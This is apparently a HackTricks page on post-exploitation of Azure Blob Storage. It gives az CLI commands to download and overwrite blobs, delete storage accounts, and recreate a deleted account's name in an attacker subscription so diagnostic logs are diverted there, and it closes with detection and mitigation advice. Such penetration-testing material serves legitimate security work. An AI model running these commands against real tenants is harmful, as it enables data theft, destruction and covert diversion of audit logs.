# Az - Blob Storage Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## Storage Privesc

For more information about storage check:

{{#ref}}
../az-services/az-storage.md
{{#endref}}

### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read`

A principal with this permission will be able to **list** the blobs (files) inside a container and **download** the files which might contain **sensitive information**.

```bash
# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
az storage blob list \
  --account-name <acc-name> \
  --container-name <container-name> --auth-mode login

az storage blob download \
  --account-name <acc-name> \
  --container-name <container-name> \
  -n file.txt --auth-mode login
```

### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write`

A principal with this permission will be able to **write and overwrite files in containers** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some code stored in a blob):

```bash
# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
az storage blob upload \
  --account-name <acc-name> \
  --container-name <container-name> \
  --file /tmp/up.txt --auth-mode login --overwrite
```

### \*/delete

This would allow to delete objects inside the storage account which might **interrupt some services** or make the client **lose valuable information**.

### Storage account name takeover of diagnostic exports

Azure Storage account names are globally unique. Some autonomous exports, such as Azure Monitor diagnostic settings, keep writing logs or metrics to a configured storage account. If an attacker can delete that storage account and recreate the same name in an attacker-controlled subscription within the same tenant, future exported telemetry may be delivered to the replacement account without modifying the diagnostic setting.

This is especially interesting when the attacker has destructive permissions such as `Microsoft.Storage/storageAccounts/delete`, but cannot update the monitored resource or its diagnostic settings.

This requires the storage account name to be released for reuse. In practice, Azure storage account soft delete / recovery protections can delay or prevent immediate reuse, especially across tenants.

```bash
# Find diagnostic settings that write to a storage account
az monitor diagnostic-settings list \
  --resource <RESOURCE_ID> \
  --query '[].{name:name,storageAccountId:storageAccountId}'

# Delete the storage account, if permitted
az storage account delete \
  --name <STORAGE_ACCOUNT_NAME> \
  --resource-group <RESOURCE_GROUP>

# Recreate the same globally-unique storage account name
az storage account create \
  --name <STORAGE_ACCOUNT_NAME> \
  --resource-group <ATTACKER_RESOURCE_GROUP> \
  --location <LOCATION> \
  --sku Standard_LRS
```

**Potential Impact:** long-term exfiltration of future logs, metrics, audit data, and diagnostic archives to an attacker-controlled subscription.

**Detection & Mitigation:** alert on deletion of storage accounts referenced by diagnostic settings, inventory diagnostic settings with `storageAccountId`, monitor for dangling destinations, and tightly restrict destructive permissions on logging/archive storage accounts.

{{#include ../../../banners/hacktricks-training.md}}

